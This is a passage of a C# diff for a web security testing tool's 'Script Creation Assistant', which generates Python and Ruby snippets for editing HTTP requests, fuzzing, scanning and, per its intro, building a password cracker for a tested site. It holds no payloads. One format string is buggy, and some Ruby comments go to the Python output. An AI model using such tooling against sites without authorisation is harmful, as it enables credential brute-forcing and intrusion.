else + SRErrorTB.Visible = false; + } + void ShowRPPError(string Error) + { + RPPErrorTB.Text = Error; + if (Error.Length > 0) + RPPErrorTB.Visible = true; + else + RPPErrorTB.Visible = false; + } + void ShowROPError(string Error) + { + ROPErrorTB.Text = Error; + if (Error.Length > 0) + ROPErrorTB.Visible = true; + else + ROPErrorTB.Visible = false; + } + void ShowResError(string Error) + { + ResErrorTB.Text = Error; + if (Error.Length > 0) + ResErrorTB.Visible = true; + else + ResErrorTB.Visible = false; + } + void ShowHtmlError(string Error) + { + HtmlErrorTB.Text = Error; + if (Error.Length > 0) + HtmlErrorTB.Visible = true; + else + HtmlErrorTB.Visible = false; + } + void ShowLogError(string Error) + { + LogErrorTB.Text = Error; + if (Error.Length > 0) + LogErrorTB.Visible = true; + else + LogErrorTB.Visible = false; + } + + void ShowCodeError(string Message) + { + ErrorLbl.Text = Message; + } + + void ShowCode(string PyCode, string RbCode) + { + ShowCodeError(""); + try + { + FullPyCode = PyCode; + FullRbCode = RbCode; + + if (ShowHideCommentsLL.Text.Equals("Show Comments")) + { + string[] StrippedCode = StripComments(new string[] { PyCode, RbCode }); + PythonCTB.Text = StrippedCode[0]; + RubyCTB.Text = StrippedCode[1]; + } + else + { + PythonCTB.Text = PyCode; + RubyCTB.Text = RbCode; + } + } + catch(Exception Exp) + { + ShowCodeError("There was some error displaying code, try clicking on the 'Generate Code' button again."); + IronException.Report("Error displaying Code in Script Creation Assistant", Exp); + } + } + + private void ScriptCreationAssistant_Load(object sender, EventArgs e) + { + List LogSourcesList = new List() { "Proxy", "Probe", "Shell", "Scan", "Test" }; + LogSourcesList.AddRange(Config.GetOtherSourceList()); + + CRLogSourceGrid.Rows.Clear(); + LogSourceGrid.Rows.Clear(); + + foreach (string LogSource in LogSourcesList) + { + CRLogSourceGrid.Rows.Add(new object[]{ false, LogSource }); + LogSourceGrid.Rows.Add(new object[] { false, LogSource }); + } + + RPPParameterTypeGrid.Rows.Clear(); + RPPParameterTypeGrid.Rows.Add(new object[]{false, "UrlPathParts", "These are the path section of the Request's Url. If the server uses URL-Rewriting then these could hold parameter values instead of file path."}); + RPPParameterTypeGrid.Rows.Add(new object[]{false, "Query", "Request Query Parameters"}); + RPPParameterTypeGrid.Rows.Add(new object[]{false, "Body", "Request Body Parameters"}); + RPPParameterTypeGrid.Rows.Add(new object[]{false, "Cookie", "Cookie values sent to the server along with the Request"}); + RPPParameterTypeGrid.Rows.Add(new object[]{false, "Headers", "The various Headers sent by the browser along with the Request"}); + + ROPParameterTypeGrid.Rows.Clear(); + ROPParameterTypeGrid.Rows.Add(new object[] { false, "Method", "full", "", "HTTP method used by the request" }); + ROPParameterTypeGrid.Rows.Add(new object[] { false, "SSL", "url", "", "Boolean value indicating if Request uses SSL" }); + ROPParameterTypeGrid.Rows.Add(new object[] { false, "Host", "full", "", "Target hostname or IP the request will be sent to." }); + ROPParameterTypeGrid.Rows.Add(new object[] { false, "File", "full", "", "File extension in the Url" }); + ROPParameterTypeGrid.Rows.Add(new object[] { false, "FullUrl", "url", "", "Full url along with hostname and protocol." }); + ROPParameterTypeGrid.Rows.Add(new object[] { false, "Url", "url", "", "Url without hostname." }); + ROPParameterTypeGrid.Rows.Add(new object[] { false, "BaseUrl", "url", "", "Protocol and hostname." }); + ROPParameterTypeGrid.Rows.Add(new object[] { false, "UrlPath", "full", "", "Url without the querystring" }); + ROPParameterTypeGrid.Rows.Add(new object[] { false, "UrlDir", "full", "", "UrlPath without the filename" }); + ROPParameterTypeGrid.Rows.Add(new object[] { false, "BodyString", "full", "", "The full request body as a single string." }); + //ROPParameterTypeGrid.Rows.Add(new object[] { false, "BodyArray", "full", "", "The request body as a .NET byte array. Use this to handle binary body data." }); + ROPParameterTypeGrid.Rows.Add(new object[] { false, "CookieString", "full", "", "The value of the Cookie header in the request as a single string." }); + ROPParameterTypeGrid.Rows.Add(new object[] { false, "BodyLength", "full", "", "Length of the request body" }); + ROPParameterTypeGrid.Rows.Add(new object[] { false, "ContentType", "full", "", "Value of the Content-Type header" }); + ROPParameterTypeGrid.Rows.Add(new object[] { false, "HasBody", "full", "", "Boolean value indicating if the request contains a body" }); + ROPParameterTypeGrid.Rows.Add(new object[] { false, "IsBinary", "full", "", "Boolean value indicating if the request body is a binary value" }); + ROPParameterTypeGrid.Rows.Add(new object[] { false, "UrlPathParts", "full", "", "Check the 'Read or Modify Parameters' section for more details on this." }); + ROPParameterTypeGrid.Rows.Add(new object[] { false, "Query Parameters", "full", "", "Check the 'Read or Modify Parameters' section for more details on this." }); + ROPParameterTypeGrid.Rows.Add(new object[] { false, "Body Parameters", "full", "", "Check the 'Read or Modify Parameters' section for more details on this." }); + ROPParameterTypeGrid.Rows.Add(new object[] { false, "Cookie Parameters", "full", "", "Check the 'Read or Modify Parameters' section for more details on this." }); + ROPParameterTypeGrid.Rows.Add(new object[] { false, "Header Parameters", "full", "", "Check the 'Read or Modify Parameters' section for more details on this." }); + + ResParameterTypeGrid.Rows.Clear(); + ResParameterTypeGrid.Rows.Add(new object[] { false, "Code", "", "The HTTP response code number." }); + ResParameterTypeGrid.Rows.Add(new object[] { false, "Status", "", "The message in the HTTP response code." }); + ResParameterTypeGrid.Rows.Add(new object[] { false, "HttpVersion", "", "HTTP version used." }); + ResParameterTypeGrid.Rows.Add(new object[] { false, "BodyLength", "", "Length of the Response body" }); + ResParameterTypeGrid.Rows.Add(new object[] { false, "ContentType", "", "Value of the Content-Type header" }); + ResParameterTypeGrid.Rows.Add(new object[] { false, "BodyEncoding", "", "The encoding scheme for the page. If the response header does not contain one then its is taken from the HTML. If no value is given it defaults to UTF-8." }); + ResParameterTypeGrid.Rows.Add(new object[] { false, "SetCookies", "", "The collection of the SetCookie headers sent by the server." }); + ResParameterTypeGrid.Rows.Add(new object[] { false, "Html", "", "The parsed HTML of the response. Check the 'Analyze Html' for more details on this." }); + ResParameterTypeGrid.Rows.Add(new object[] { false, "Headers", "", "The headers in the Response. This property is similar to the Request Headers property. Check that section for usage information." }); + ResParameterTypeGrid.Rows.Add(new object[] { false, "BodyString", "", "The entire response body as a single string." }); + //ResParameterTypeGrid.Rows.Add(new object[] { false, "BodyArray", "", "" }); + ResParameterTypeGrid.Rows.Add(new object[] { false, "IsHtml", "", "Boolean value indicating if the response body is a valid HTML" }); + ResParameterTypeGrid.Rows.Add(new object[] { false, "IsJson", "", "Boolean value indicating if the response body is a valid JSON" }); + ResParameterTypeGrid.Rows.Add(new object[] { false, "IsXml", "", "Boolean value indicating if the response body is a valid XML" }); + ResParameterTypeGrid.Rows.Add(new object[] { false, "IsJavaScript", "", "Boolean value indicating if the response body is a valid JavaScript" }); + ResParameterTypeGrid.Rows.Add(new object[] { false, "IsCss", "", "Boolean value indicating if the response body is a valid CSS" }); + ResParameterTypeGrid.Rows.Add(new object[] { false, "RoundTrip", "", "Time taken to get the response form the server in milliseconds" }); + ResParameterTypeGrid.Rows.Add(new object[] { false, "IsRedirect", "", "Boolean value indicating if the response is a redirect." }); + + HtmlMainActionsGrid.Rows.Clear(); + HtmlMainActionsGrid.Rows.Add(new object[]{ false, "Get Title of Html", "" }); + HtmlMainActionsGrid.Rows.Add(new object[] { false, "Get Links from Html", "" }); + HtmlMainActionsGrid.Rows.Add(new object[] { false, "Get Comments from Html", "" }); + HtmlMainActionsGrid.Rows.Add(new object[] { false, "Get JavaScript from Html", "" }); + HtmlMainActionsGrid.Rows.Add(new object[] { false, "Get VisualBasic from Html", "" }); + HtmlMainActionsGrid.Rows.Add(new object[] { false, "Get CSS from Html", "" }); + HtmlMainActionsGrid.Rows.Add(new object[] { false, "Get Values of Html attributes", "" }); + HtmlMainActionsGrid.Rows.Add(new object[] { false, "Get Elements from Html as strings", "" }); + HtmlMainActionsGrid.Rows.Add(new object[] { false, "Get Elements from Html as objects", "" }); + HtmlMainActionsGrid.Rows.Add(new object[] { false, "Get Forms from Html", "" }); + //HtmlMainActionsGrid.Rows.Add(new object[] { false, "Get Content of Meta tags", "" }); + HtmlMainActionsGrid.Rows.Add(new object[] { false, "Find the context a keyword", "" }); + + ToolsItemGrid.Rows.Clear(); + ToolsItemGrid.Rows.Add(new object[] { false, "Find the location of IronWASP executable", "path"}); + ToolsItemGrid.Rows.Add(new object[] { false, "Perform Base64 encode and decode", "base64" }); + ToolsItemGrid.Rows.Add(new object[] { false, "Perform Hex encode and decode", "hex" }); + ToolsItemGrid.Rows.Add(new object[] { false, "Perform HTML encode and decode", "html" }); + ToolsItemGrid.Rows.Add(new object[] { false, "Perform URL encode and decode", "url" }); + ToolsItemGrid.Rows.Add(new object[] { false, "Create MD5, SHA1, SHA256, SHA384 or SHA512 hash", "hash" }); + ToolsItemGrid.Rows.Add(new object[] { false, "Compare two strings", "diff" }); + ToolsItemGrid.Rows.Add(new object[] { false, "Run external executable files", "exec" }); + ToolsItemGrid.Rows.Add(new object[] { false, "Debug Plugins, Modules etc", "debug" }); + + ReqOActionsGrid.Rows.Clear(); + ReqOActionsGrid.Rows.Add(new object[] { false, "Create a copy or clone of a Request", "GetClone", "Creates a new identical copy of the request object so that you can modify the clone without affecting the original." }); + ReqOActionsGrid.Rows.Add(new object[] { false, "Convert this Request as a string", "ToBinaryString", "Convert the entire Request to a string value. Can also get the request object back from this string. Useful to embed requests in scripts." }); + ReqOActionsGrid.Rows.Add(new object[] { false, "Send Request to Manual Testing", "ToTestUi", "Send a Request from the Scripting shell to the ManualTesting section UI. A new group is created and the request is displayed there." }); + + ResOActionsGrid.Rows.Clear(); + ResOActionsGrid.Rows.Add(new object[] { false, "Render the Response Body", "Render", "Renders the Response body content in a seperate UI window using IE's rendering engine." }); + ResOActionsGrid.Rows.Add(new object[] { false, "Save the Response Body to a file", "Save", "Save the entire body of the response to a file on the system." }); + + FuzzParameterTypeGrid.Rows.Clear(); + FuzzParameterTypeGrid.Rows.Add(new object[] { false, "UrlPathParts" }); + FuzzParameterTypeGrid.Rows.Add(new object[] { false, "Query" }); + FuzzParameterTypeGrid.Rows.Add(new object[] { false, "Body" }); + FuzzParameterTypeGrid.Rows.Add(new object[] { false, "Cookie" }); + FuzzParameterTypeGrid.Rows.Add(new object[] { false, "Headers" }); + + FuzzSessionPluginGrid.Rows.Clear(); + FuzzSessionPluginGrid.Rows.Add(new object[] { true, "---" }); + foreach (string Name in SessionPlugin.List()) + { + FuzzSessionPluginGrid.Rows.Add(new object[] { false, Name }); + } + + ScanParameterTypeGrid.Rows.Clear(); + ScanParameterTypeGrid.Rows.Add(new object[] { false, "UrlPathParts" }); + ScanParameterTypeGrid.Rows.Add(new object[] { false, "Query" }); + ScanParameterTypeGrid.Rows.Add(new object[] { false, "Body" }); + ScanParameterTypeGrid.Rows.Add(new object[] { false, "Cookie" }); + ScanParameterTypeGrid.Rows.Add(new object[] { false, "Headers" }); + + ScanSessionPluginGrid.Rows.Clear(); + ScanSessionPluginGrid.Rows.Add(new object[] { true, "---" }); + foreach (string Name in SessionPlugin.List()) + { + ScanSessionPluginGrid.Rows.Add(new object[] { false, Name }); + } + + ScanPluginsGrid.Rows.Clear(); + foreach (string Name in ActivePlugin.List()) + { + ScanPluginsGrid.Rows.Add(new object[] { false, Name }); + } + + StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); + string IntroMessage = @">>Welcome to the Script Creation Assistant>> +You don't have to be an expert to do scripting with IronWASP. If you just know the very basics of programming like what are variables, methods, for loops etc then you are good to go. This assistant will help you learn how to create scripts using the IronWASP API and turn your ideas in to working code. + +You can use the Scripting Shell built in to IronWASP to run these scripts. + +There are different sections here, in each section you define what you are trying to do and the script to perform that action will be created for you when you click on the 'Generate Code' button. + +You can put the code from various sections together to create the scripts to fit your unique needs. + +Let us look at some scenarios: + +You want to analyze the HTTP logs to identify certain issues: + 1: Use the script from the 'Log Analysis' section to read through the logs one at a time + 2: Use the Request and Response sections to find out how to read the different properties and values from the Request and Response of the log and analyze them. + +You want to create a Password cracker for a site you are testing: + 1: Use the Request section to learn how to create and send the login request + 2: The Request section will also show you how to change the values of the username and password parameters + 3: The Response section will show you how to read the response properties like status code, headers and how to extract data from the various HTML elements + +You want to create a custom fuzzer or scanner to check for an issue: + 1: Use the Request section to create a request object to fuzz or test + 2: Use the Fuzzer section to create sample script that shows how you can inject your payloads in different sections of this request and get the response + 3: Use the Response section to learn how you can analyze this response and identify if your payload had any effect +"; + SB.AppendLine(Tools.RtfSafe(IntroMessage)); + IntroRTB.Rtf = SB.ToString(); + } + + private void SRCreateCodeBtn_Click(object sender, EventArgs e) + { + ShowSRError(""); + StringBuilder Py = new StringBuilder(); + StringBuilder Rb = new StringBuilder(); + Py.AppendLine(); + Rb.AppendLine(); + Py.AppendLine("#'req' is a variable that is assumed to contain a Request object"); + Rb.AppendLine("#'req' is a variable that is assumed to contain a Request object"); + + if (SRSendWithLogSourceRB.Checked) + { + try + { + Request Req = new Request("http://google.com"); + Req.SetSource(SRLogSourceTB.Text); + string LogSource = SRLogSourceTB.Text; + Py.AppendLine("#The LogSource is set"); + Rb.AppendLine("#The LogSource is set"); + + Py.AppendLine(string.Format(@"req.SetSource(""{0}"")", LogSource)); + Rb.AppendLine(string.Format(@"req.set_source(""{0}"")", LogSource)); + } + catch(Exception Exp) + { + ShowSRError(Exp.Message); + } + } + Py.AppendLine("#Request is sent and the response stored in a variable named 'res'"); + Rb.AppendLine("#Request is sent and the response stored in a variable named 'res'"); + + Py.AppendLine("res = req.Send()"); + Rb.AppendLine("res = req.send_req"); + + if (SRFollowRedirectRB.Checked) + { + Py.AppendLine("#Check if the response is a redirect"); + Py.AppendLine("if res.IsRedirect:"); + Py.Append(" "); Py.AppendLine("#Get the redirect Request and store it in a variable named 'rd_req'. The redirect is followed by sending 'rd_req'"); + Py.Append(" "); Py.AppendLine("rd_req = req.GetRedirect(res)"); + Py.Append(" "); Py.AppendLine("final_res = rd_req.Send()"); + + Rb.AppendLine("#Check if the response is a redirect"); + Rb.AppendLine("if res.is_redirect"); + Rb.Append(" "); Rb.AppendLine("#Get the redirect Request and store it in a variable named 'rd_req'. The redirect is followed by sending 'rd_req'"); + Rb.Append(" "); Rb.AppendLine("rd_req = req.get_redirect(res)"); + Rb.Append(" "); Rb.AppendLine("final_res = rd_req.send_req"); + Rb.AppendLine("end"); + } + ShowCode(Py.ToString(), Rb.ToString()); + } + + private void ShowHideCommentsLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + try + { + if (ShowHideCommentsLL.Text.Equals("Show Comments")) + { + PythonCTB.Text = FullPyCode; + RubyCTB.Text = FullRbCode; + ShowHideCommentsLL.Text = "Hide Comments"; + } + else + { + string[] StrippedCode = StripComments(new string[] { FullPyCode, FullRbCode }); + PythonCTB.Text = StrippedCode[0]; + RubyCTB.Text = StrippedCode[1]; + ShowHideCommentsLL.Text = "Show Comments"; + } + } + catch(Exception Exp) + { + ShowCodeError("There was an error when hiding comments, please try again."); + IronException.Report("Error Hiding Comments in Script Creation Assistant", Exp); + } + } + + string[] StripComments(string[] FullCode) + { + string[] StrippedCode = new string[2]; + for(int i =0; i < 2; i++) + { + StringBuilder Code = new StringBuilder(); + foreach (string Line in FullCode[i].Split(new string[] { Environment.NewLine }, StringSplitOptions.None)) + { + if (!Line.TrimStart().StartsWith("#")) Code.AppendLine(Line); + } + StrippedCode[i] = Code.ToString(); + } + return StrippedCode; + } + + private void RPPParameterTypeGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (RPPParameterTypeGrid.SelectedRows == null) return; + if (RPPParameterTypeGrid.SelectedRows.Count == 0) return; + foreach (DataGridViewRow Row in RPPParameterTypeGrid.Rows) + { + if (Row.Index == RPPParameterTypeGrid.SelectedRows[0].Index) + { + Row.Cells[0].Value = true; + RPPParameterDescriptionTB.Text = Row.Cells[2].Value.ToString(); + if (Row.Cells[1].Value.ToString().Equals("UrlPathParts")) + { + RPPActionGrid.Rows.Clear(); + RPPActionGrid.Rows.Add(new object[] { false, "Read all url path part values" }); + RPPActionGrid.Rows.Add(new object[] { false, "Edit an url path part value" }); + RPPActionGrid.Rows.Add(new object[] { false, "Add a new url path part value" }); + RPPActionGrid.Rows.Add(new object[] { false, "Get the number of url path part values" }); + RPPActionGrid.Rows.Add(new object[] { false, "Remove an url path part value" }); + RPPActionGrid.Rows.Add(new object[] { false, "Remove all url path part values" }); + } + else + { + RPPActionGrid.Rows.Clear(); + RPPActionGrid.Rows.Add(new object[] { false, "Read all parameter names" }); + RPPActionGrid.Rows.Add(new object[] { false, "Read a parameter's value" }); + RPPActionGrid.Rows.Add(new object[] { false, "Edit a parameter's value" }); + RPPActionGrid.Rows.Add(new object[] { false, "Add a new parameter" }); + RPPActionGrid.Rows.Add(new object[] { false, "Contains a parameter" }); + RPPActionGrid.Rows.Add(new object[] { false, "Get the number of parameters" }); + RPPActionGrid.Rows.Add(new object[] { false, "Remove a parameter" }); + RPPActionGrid.Rows.Add(new object[] { false, "Remove all parameters" }); + + } + + RPPActionGrid.Visible = true; + RPPQuestionGB.Visible = false; + RPPParameterNameLbl.Visible = false; + RPPParameterNameTB.Visible = false; + RPPParameterValueLbl.Visible = false; + RPPParameterValueTB.Visible = false; + } + else + { + Row.Cells[0].Value = false; + } + } + } + + private void RPPActionGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (RPPActionGrid.SelectedRows == null) return; + if (RPPActionGrid.SelectedRows.Count == 0) return; + string ParameterType = ""; + foreach (DataGridViewRow Row in RPPParameterTypeGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + ParameterType = Row.Cells[1].Value.ToString(); + break; + } + } + foreach (DataGridViewRow Row in RPPActionGrid.Rows) + { + if (Row.Index == RPPActionGrid.SelectedRows[0].Index) + { + Row.Cells[0].Value = true; + if (Row.Cells[1].Value.ToString().StartsWith("Read all")) + { + RPPQuestionGB.Visible = false; + RPPParameterNameLbl.Visible = false; + RPPParameterNameTB.Visible = false; + RPPParameterValueLbl.Visible = false; + RPPParameterValueTB.Visible = false; + } + else if (Row.Cells[1].Value.ToString().StartsWith("Read a ")) + { + RPPQuestionGB.Visible = true; + RPPQuestionGB.Text = "If there are more than one parameter values with this name then what do you wish to do?"; + RPPAnswerOneRB.Text = "Get only the first value"; + RPPAnswerTwoRB.Text = "Get all values in a list"; + RPPAnswerOneRB.Checked = true; + + RPPParameterValueLbl.Visible = false; + RPPParameterValueTB.Visible = false; + + RPPParameterNameLbl.Text = "Enter Parameter Name:"; + RPPParameterNameLbl.Visible = true; + RPPParameterNameTB.Visible = true; + } + else if (Row.Cells[1].Value.ToString().StartsWith("Edit a")) + { + if (ParameterType.Equals("UrlPathParts")) + { + RPPQuestionGB.Visible = false; + + RPPParameterValueLbl.Visible = true; + RPPParameterValueTB.Visible = true; + + RPPParameterNameLbl.Text = "UrlPathPart Position"; + + RPPParameterNameLbl.Visible = true; + RPPParameterNameTB.Visible = true; + } + else + { + RPPQuestionGB.Visible = false; + RPPParameterNameLbl.Text = "Enter Parameter Name:"; + RPPParameterNameLbl.Visible = true; + RPPParameterNameTB.Visible = true; + RPPParameterValueLbl.Visible = true; + RPPParameterValueTB.Visible = true; + } + } + else if (Row.Cells[1].Value.ToString().StartsWith("Contains a ")) + { + RPPQuestionGB.Visible = false; + RPPParameterValueLbl.Visible = false; + RPPParameterValueTB.Visible = false; + + RPPParameterNameLbl.Text = "Enter Parameter Name:"; + RPPParameterNameLbl.Visible = true; + RPPParameterNameTB.Visible = true; + } + else if (Row.Cells[1].Value.ToString().StartsWith("Add a ")) + { + if (ParameterType.Equals("UrlPathParts")) + { + RPPQuestionGB.Visible = false; + + RPPParameterValueLbl.Visible = true; + RPPParameterValueTB.Visible = true; + + RPPParameterNameLbl.Visible = false; + RPPParameterNameTB.Visible = false; + } + else + { + RPPQuestionGB.Visible = true; + RPPQuestionGB.Text = "If a parameter with this name already exists then what do you wish to do?"; + RPPAnswerOneRB.Text = "Overwrite it"; + RPPAnswerTwoRB.Text = "Add another parameter with same name"; + RPPAnswerOneRB.Checked = true; + + RPPParameterNameLbl.Text = "Enter Parameter Name:"; + RPPParameterNameLbl.Visible = true; + RPPParameterNameTB.Visible = true; + RPPParameterValueLbl.Visible = true; + RPPParameterValueTB.Visible = true; + } + } + else if (Row.Cells[1].Value.ToString().StartsWith("Get the")) + { + RPPQuestionGB.Visible = false; + RPPParameterNameLbl.Visible = false; + RPPParameterNameTB.Visible = false; + RPPParameterValueLbl.Visible = false; + RPPParameterValueTB.Visible = false; + } + else if (Row.Cells[1].Value.ToString().StartsWith("Remove a ")) + { + if (ParameterType.Equals("UrlPathParts")) + { + RPPQuestionGB.Visible = false; + + RPPParameterValueLbl.Visible = false; + RPPParameterValueTB.Visible = false; + + RPPParameterNameLbl.Text = "UrlPathPart Position"; + + RPPParameterNameLbl.Visible = true; + RPPParameterNameTB.Visible = true; + } + else + { + RPPQuestionGB.Visible = false; + RPPParameterValueLbl.Visible = false; + RPPParameterValueTB.Visible = false; + + RPPParameterNameLbl.Text = "Enter Parameter Name:"; + RPPParameterNameLbl.Visible = true; + RPPParameterNameTB.Visible = true; + } + } + else if (Row.Cells[1].Value.ToString().StartsWith("Remove all")) + { + RPPQuestionGB.Visible = false; + RPPParameterNameLbl.Visible = false; + RPPParameterNameTB.Visible = false; + RPPParameterValueLbl.Visible = false; + RPPParameterValueTB.Visible = false; + } + } + else + { + Row.Cells[0].Value = false; + } + } + } + + private void RPPCreateCodeBtn_Click(object sender, EventArgs e) + { + ShowRPPError(""); + if (!RPPActionGrid.Visible) + { + ShowRPPError("No parameter sections were selected."); + return; + } + string ParameterType = ""; + foreach (DataGridViewRow Row in RPPParameterTypeGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + ParameterType = Row.Cells[1].Value.ToString(); + break; + } + } + if (!RPPActionGrid.Visible) + { + ShowRPPError("No parameter sections were selected."); + return; + } + string Action = ""; + foreach (DataGridViewRow Row in RPPActionGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + Action = Row.Cells[1].Value.ToString(); + break; + } + } + if (RPPParameterNameTB.Visible) + { + if(RPPParameterNameTB.Text.Trim().Length == 0) + { + ShowRPPError("Parameter name cannot be empty"); + return; + } + if (ParameterType.Equals("UrlPathParts")) + { + try + { + Int32.Parse(RPPParameterNameTB.Text.Trim()); + } + catch + { + ShowRPPError("UrlPathPart position must be a number"); + return; + } + } + } + + string ParameterName = RPPParameterNameTB.Text; + string ParameterValue = RPPParameterValueTB.Text; + + StringBuilder Py = new StringBuilder(); + StringBuilder Rb = new StringBuilder(); + Py.AppendLine(); + Rb.AppendLine(); + Py.AppendLine("#'req' is a variable that is assumed to contain a Request object"); + Rb.AppendLine("#'req' is a variable that is assumed to contain a Request object"); + + if (Action.StartsWith("Remove all")) + { + if (ParameterType.Equals("UrlPathParts")) + { + Py.AppendLine("#UrlPathParts is a .NET List type so to remove all url path parts we get the list value, clear it and assign the empty list to the UrlPathParts property."); + Py.AppendLine("upp = req.UrlPathParts"); + Py.AppendLine("upp.Clear()"); + Py.AppendLine("req.UrlPathParts = upp"); + + Py.AppendLine("#url_path_parts is a .NET List type so to remove all url path parts we get the list value, clear it and assign the empty list to the url_path_parts property."); + Rb.AppendLine("upp = req.url_path_parts"); + Rb.AppendLine("upp.clear"); + Rb.AppendLine("req.url_path_parts = upp"); + } + else + { + Py.AppendLine(string.Format("req.{0}.RemoveAll()", ParameterType)); + Rb.AppendLine(string.Format("req.{0}.remove_all", ParameterType.ToLower())); + } + } + else if (Action.StartsWith("Get the ")) + { + if (ParameterType.Equals("UrlPathParts")) + { + Py.AppendLine("print 'UrlPathParts count - ' + str(req.UrlPathParts.Count)"); + Rb.AppendLine("puts 'UrlPathParts count - ' + req.url_path_parts.count.to_s"); + } + else + { + Py.AppendLine(string.Format("print '{0} parameters count - ' + str(req.{0}.Count)", ParameterType)); + Rb.AppendLine(string.Format("puts '{0} parameters count - ' + req.{0}.count.to_s", ParameterType.ToLower())); + } + } + else if (Action.StartsWith("Remove a")) + { + if (ParameterType.Equals("UrlPathParts")) + { + Py.AppendLine("#UrlPathParts is a .NET List type so we use the RemoveAt method of the .NET list class to remove the item"); + Py.AppendLine("upp = req.UrlPathParts"); + Py.AppendLine(string.Format("upp.RemoveAt({1})", ParameterName)); + Py.AppendLine("req.UrlPathParts = upp"); + + Py.AppendLine("#UrlPathParts is a .NET List type but we can still use the delete_at method to remove the item"); + Rb.AppendLine("upp = req.url_path_parts"); + Rb.AppendLine(string.Format("upp.delete_at({0})", ParameterName)); + Rb.AppendLine("req.url_path_parts = upp"); + } + else + { + Py.AppendLine(string.Format(@"req.{0}.Remove(""{1}"")", ParameterType, ParameterName.Replace("\"", "\\\""))); + Rb.AppendLine(string.Format(@"req.{0}.remove(""{1}"")", ParameterType.ToLower(), ParameterName.Replace("\"", "\\\""))); + } + } + else if (Action.StartsWith("Contains a")) + { + Py.AppendLine(string.Format(@"if req.{0}.Has(""{1}""):", ParameterType, ParameterName.Replace("\"", "\\\""))); + Py.Append(" "); Py.AppendLine(string.Format(@"print ""{0} contains a parameter named '{1}'""", ParameterType, ParameterName.Replace("'", "\\'"))); + Py.AppendLine("else:"); + Py.Append(" "); Py.AppendLine(string.Format(@"print ""{0} does not contain a parameter named '{1}'""", ParameterType, ParameterName.Replace("'", "\\'"))); + + Rb.AppendLine(string.Format(@"if req.{0}.has(""{1}"")", ParameterType.ToLower(), ParameterName)); + Rb.Append(" "); Rb.AppendLine(string.Format(@"puts ""{0} contains a parameter named '{1}'""", ParameterType.ToLower(), ParameterName.Replace("'", "\\'"))); + Rb.AppendLine("else"); + Rb.Append(" "); Rb.AppendLine(string.Format(@"puts ""{0} does not contain a parameter named '{1}'""", ParameterType.ToLower(), ParameterName.Replace("'", "\\'"))); + Rb.AppendLine("end"); + } + else if (Action.StartsWith("Read all")) + { + if (ParameterType.Equals("UrlPathParts")) + { + Py.AppendLine("upp = req.UrlPathParts"); + Py.AppendLine("#UrlPathParts is a .NET List type but you can iterate over it like Python list."); + Py.AppendLine("for v in upp:"); + Py.Append(" "); Py.AppendLine("print v"); + + Rb.AppendLine("upp = req.url_path_parts"); + Py.AppendLine("#UrlPathParts is a .NET List type but you can iterate over it like Ruby list."); + Rb.AppendLine("for v in upp"); + Rb.Append(" "); Rb.AppendLine("puts v"); + Rb.AppendLine("end"); + } + else + { + Py.AppendLine(string.Format(@"names = req.{0}.GetNames()", ParameterType)); + Py.AppendLine("#The names are returned as a .NET List type but you can iterate over it like Python list."); + Py.AppendLine("for n in names:"); + Py.Append(" "); Py.AppendLine("print n"); + + Rb.AppendLine(string.Format(@"names = req.{0}.get_names", ParameterType.ToLower())); + Rb.AppendLine("#The names are returned as a .NET List type but you can iterate over it like Ruby list."); + Rb.AppendLine("for n in names"); + Rb.Append(" "); Rb.AppendLine("puts n"); + Rb.AppendLine("end"); + } + } + else if (Action.StartsWith("Read a")) + { + if (RPPAnswerOneRB.Checked) + { + Py.AppendLine(string.Format(@"value = req.{0}.Get(""{1}"")", ParameterType, ParameterName.Replace("\"", "\\\""))); + + Rb.AppendLine(string.Format(@"value = req.{0}.get(""{1}"")", ParameterType.ToLower(), ParameterName.Replace("\"", "\\\""))); + } + else + { + Py.AppendLine(string.Format(@"values = req.{0}.GetAll(""{1}"")", ParameterType, ParameterName.Replace("\"", "\\\""))); + Py.AppendLine("#The values are returned as a .NET List type but you can iterate over it like Python list."); + Py.AppendLine("for v in values:"); + Py.Append(" "); Py.AppendLine("print v"); + + Rb.AppendLine(string.Format(@"values = req.{0}.get_all(""{1}"")", ParameterType.ToLower(), ParameterName.Replace("\"", "\\\""))); + Py.AppendLine("#The values are returned as a .NET List type but you can iterate over it like Ruby list."); + Rb.AppendLine("for v in values"); + Rb.Append(" "); Rb.AppendLine("puts v"); + Rb.AppendLine("end"); + } + } + else if (Action.StartsWith("Edit a")) + { + if (ParameterType.Equals("UrlPathParts")) + { + Py.AppendLine("upp = req.UrlPathParts"); + Py.AppendLine(string.Format(@"upp[{0}] = ""{1}""", ParameterName, ParameterValue.Replace("\"", "\\\""))); + Py.AppendLine("req.UrlPathParts = upp"); + + Rb.AppendLine("upp = req.url_path_parts"); + Rb.AppendLine(string.Format(@"upp[{0}] = ""{1}""", ParameterName, ParameterValue.Replace("\"", "\\\""))); + Rb.AppendLine("req.url_path_parts = upp"); + } + else + { + Py.AppendLine(string.Format(@"req.{0}.Set(""{1}"", ""{2}"")", ParameterType, ParameterName.Replace("\"", "\\\""), ParameterValue.Replace("\"", "\\\""))); + Py.AppendLine("#If there were more than one parameter with the same name then use SetAt(name, position, value) method."); + Py.AppendLine(string.Format(@"#Eg: req.{0}.SetAt(""{1}"", 0, ""{2}"")", ParameterType, ParameterName.Replace("\"", "\\\""), ParameterValue.Replace("\"", "\\\""))); + + Rb.AppendLine(string.Format(@"req.{0}.set(""{1}"", ""{2}"")", ParameterType.ToLower(), ParameterName, ParameterValue)); + Rb.AppendLine("#If there were more than one parameter with the same name then use set_at(name, position, value) method."); + Rb.AppendLine(string.Format(@"# Eg: req.{0}.set_at(""{1}"", 0, ""{2}"")", ParameterType.ToLower(), ParameterName.Replace("\"", "\\\""), ParameterValue.Replace("\"", "\\\""))); + + } + } + else if (Action.StartsWith("Add a")) + { + if (ParameterType.Equals("UrlPathParts")) + { + Py.AppendLine("upp = req.UrlPathParts"); + Py.AppendLine("#The values are returned as a .NET List type so we use the Add method of the .NET list to add a new parameter"); + Py.AppendLine(string.Format(@"upp.Add(""{0}"")", ParameterValue.Replace("\"", "\\\""))); + Py.AppendLine("req.UrlPathParts = upp"); + + Rb.AppendLine("upp = req.url_path_parts"); + 